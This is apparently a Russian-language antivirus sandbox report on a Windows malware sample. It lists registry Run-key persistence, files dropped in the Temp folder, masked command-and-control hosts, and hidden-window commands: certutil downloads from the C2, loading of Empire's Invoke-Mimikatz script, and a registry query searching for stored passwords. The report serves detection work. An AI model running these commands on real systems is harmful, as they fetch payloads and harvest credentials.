Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'System' = '%WINDIR%\Temp\44zG66pj.exe'
Вредоносные функции
Загружает и запускает на исполнение
- https://raw.githubusercontent.com/empireproject/empire/master/data/module_source/credentials/invoke-mimikatz.ps1
Изменения в файловой системе
Создает следующие файлы
- %WINDIR%\temp\44zg66pj.exe
- %WINDIR%\temp\strikedc2a1t.data
Самоудаляется.
Сетевая активность
Подключается к
- 'do######.sysinternals.com':443
- 'ia####thec2.ohl.io':80
- 'ra#.####ubusercontent.com':443
TCP
Запросы HTTP GET
- http://ia####thec2.ohl.io/strikedC2a1t.data
Запросы HTTP POST
- http://ia####thec2.ohl.io/
Другие
- 'do######.sysinternals.com':443
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK wi###edia.org
- DNS ASK do######.sysinternals.com
- DNS ASK ia####thec2.ohl.io
- DNS ASK ra#.####ubusercontent.com
Другое
Создает и запускает на исполнение
- '%WINDIR%\temp\44zg66pj.exe' delete_previous <Полный путь к файлу>
- '%WINDIR%\syswow64\whoami.exe' ' (со скрытым окном)
- '%WINDIR%\syswow64\wbem\wmic.exe' netlogin where (name like '%USER') get numberoflogons' (со скрытым окном)
- '%WINDIR%\syswow64\certutil.exe' -urlcache -f https://download.sysinternals.com/files/PSTools.zip %WINDIR%\TEMP\tools.zip' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Expand-Archive -Force %WINDIR%\TEMP\tools.zip %WINDIR%\TEMP\tools\' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' query HKCU /f password /t REG_SZ /s' (со скрытым окном)
- '%WINDIR%\syswow64\certutil.exe' -urlcache -f http://ia####thec2.ohl.io/strikedC2a1t.data %WINDIR%\TEMP\strikedC2a1t.data' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\whoami.exe'
- '%WINDIR%\syswow64\wbem\wmic.exe' netlogin where (name like '%USER') get numberoflogons
- '%WINDIR%\syswow64\certutil.exe' -urlcache -f https://download.sysinternals.com/files/PSTools.zip %WINDIR%\TEMP\tools.zip
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Expand-Archive -Force %WINDIR%\TEMP\tools.zip %WINDIR%\TEMP\tools\
- '%WINDIR%\syswow64\reg.exe' query HKCU /f password /t REG_SZ /s
- '%WINDIR%\syswow64\certutil.exe' -urlcache -f http://ia####thec2.ohl.io/strikedC2a1t.data %WINDIR%\TEMP\strikedC2a1t.data
